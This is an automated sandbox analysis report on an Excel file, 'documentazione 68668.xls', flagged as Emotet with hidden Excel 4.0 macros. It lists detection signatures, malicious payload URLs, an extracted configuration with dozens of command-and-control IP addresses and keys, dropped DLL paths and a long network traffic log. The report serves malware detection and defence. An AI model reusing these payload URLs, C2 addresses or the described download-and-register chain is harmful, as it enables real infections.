Windows Analysis Report
documentazione 68668.xls

Overview

General Information

Sample Name: documentazione 68668.xls
Analysis ID: 679676
MD5: a4c856aa217eab1f66dfade13f701013
SHA1: c4bd8e7e5cbb3e8038186851e7eb9ee65007c64d
SHA256: 51737c16eed7b848b37b843555c7bda5ead1f418fbadb8def452d287d0817179
Infos:

Detection

Hidden Macro 4.0, Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for submitted file
Document exploit detected (drops PE files)
Malicious sample detected (through community Yara rule)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Antivirus / Scanner detection for submitted sample
Yara detected Emotet
System process connects to network (likely due to code injection or exploit)
Document exploit detected (creates forbidden files)
Antivirus detection for URL or domain
Found malicious Excel 4.0 Macro
Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Office process drops PE file
Found Excel 4.0 Macro with suspicious formulas
C2 URLs / IPs found in malware configuration
Drops PE files to the user root directory
Hides that the sample has been downloaded from the Internet (zone.identifier)
Document exploit detected (process start blacklist hit)
Document exploit detected (UrlDownloadToFile)
Queries the volume information (name, serial number etc) of a device
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Creates files inside the system directory
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
JA3 SSL client fingerprint seen in connection with other malware
Found dropped PE file which has not been started or loaded
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Downloads executable code via HTTP
Document misses a certain OLE stream usually present in this Microsoft Office document type
Found a hidden Excel 4.0 Macro sheet
Potential document exploit detected (unknown TCP traffic)
PE file contains an invalid checksum
Drops PE files
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Detected TCP or UDP traffic on non-standard ports
Connects to several IPs in different countries
Registers a DLL
PE file contains more sections than normal
Drops PE files to the user directory
Dropped file seen in connection with other malware
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: documentazione 68668.xls Virustotal: Detection: 55% Perma Link
Source: documentazione 68668.xls Metadefender: Detection: 37% Perma Link
Source: documentazione 68668.xls ReversingLabs: Detection: 73%
Antivirus / Scanner detection for submitted sample
Source: documentazione 68668.xls Avira: detected
Antivirus detection for URL or domain
Source: http://kronostr.com/tr/68yHRhfuU7Qj/ Avira URL Cloud: Label: malware
Source: https://www.zardamarine.com/images/psQbAjrrEOXWPrS/ Avira URL Cloud: Label: malware
Source: http://labfitouts.com/cgi-bin/Rea3Iu3wGvgAbTset0/ Avira URL Cloud: Label: malware
Source: https://198.199.70.22/B Avira URL Cloud: Label: malware
Source: https://165.22.254.68/O Avira URL Cloud: Label: malware
Source: https://198.199.70.22/080/F Avira URL Cloud: Label: malware
Source: https://198.199.70.22:8080/e Avira URL Cloud: Label: malware
Source: https://198.199.70.22:8080/a Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: zardamarine.com Virustotal: Detection: 10% Perma Link
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\UVvnppK[1].dll Avira: detection malicious, Label: TR/Crypt.Agent.hwpwp
Source: C:\Users\user\wdusx2.ocx Avira: detection malicious, Label: TR/Crypt.Agent.hwpwp
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\UVvnppK[1].dll Metadefender: Detection: 40% Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\UVvnppK[1].dll ReversingLabs: Detection: 88%
Source: C:\Users\user\wdusx2.ocx Metadefender: Detection: 40% Perma Link
Source: C:\Users\user\wdusx2.ocx ReversingLabs: Detection: 88%
Source: C:\Windows\System32\LxvynAbdjmnUIIL\BlVTVcJlqYTKwC.dll (copy) Metadefender: Detection: 40% Perma Link
Source: C:\Windows\System32\LxvynAbdjmnUIIL\BlVTVcJlqYTKwC.dll (copy) ReversingLabs: Detection: 88%
Source: 00000007.00000002.1196956196.00000000003AA000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: Emotet {"C2 list": ["165.22.254.68:443", "198.199.70.22:8080", "104.244.79.94:443", "103.224.241.74:8080", "88.217.172.165:8080", "118.98.72.86:443", "104.248.225.227:8080", "196.44.98.190:8080", "103.254.12.236:7080", "157.245.111.0:8080", "68.183.91.111:8080", "202.29.239.162:443", "37.44.244.177:8080", "139.196.72.155:8080", "64.227.55.231:8080", "103.85.95.4:8080", "195.77.239.39:8080", "202.134.4.210:7080", "54.37.106.167:8080", "103.41.204.169:8080", "85.25.120.45:8080", "59.148.253.194:443", "175.126.176.79:8080", "103.126.216.86:443", "93.104.209.107:8080", "103.56.149.105:8080", "202.28.34.99:8080", "103.71.99.57:8080", "62.171.178.147:8080", "116.124.128.206:8080", "54.37.228.122:443", "210.57.209.142:8080", "128.199.217.206:443", "36.67.23.59:443", "188.225.32.231:4143", "87.106.97.83:7080", "85.214.67.203:8080", "78.47.204.80:443", "178.62.112.199:8080", "165.232.185.110:8080", "157.230.99.206:8080", "165.22.254.236:8080"], "Public Key": ["RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0hvkZWKoAAJA=", "RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCWi/kZWKoAAIg="]}
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: unknown HTTPS traffic detected: 208.67.23.91:443 -> 192.168.2.22:49171 version: TLS 1.2
Source: C:\Windows\System32\regsvr32.exe Code function: 7_2_000000018000C3D8 FindNextFileW,FindFirstFileW, 7_2_000000018000C3D8

Software Vulnerabilities
barindex
Document exploit detected (drops PE files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: UVvnppK[1].dll.0.dr Jump to dropped file
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\UVvnppK[1].dll Jump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\regsvr32.exe
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA Jump to behavior
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: www.zardamarine.com
Source: global traffic DNS query: name: kronostr.com
Source: global traffic DNS query: name: labfitouts.com
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 208.67.23.91:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 208.67.23.91:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.23.91:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 208.67.23.91:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.23.91:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 208.67.23.91:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 208.67.23.91:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 208.67.23.91:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 208.67.23.91:443 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 208.67.23.91:443
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 188.132.217.108:80
Source: global traffic TCP traffic: 188.132.217.108:80 -> 192.168.2.22:49172
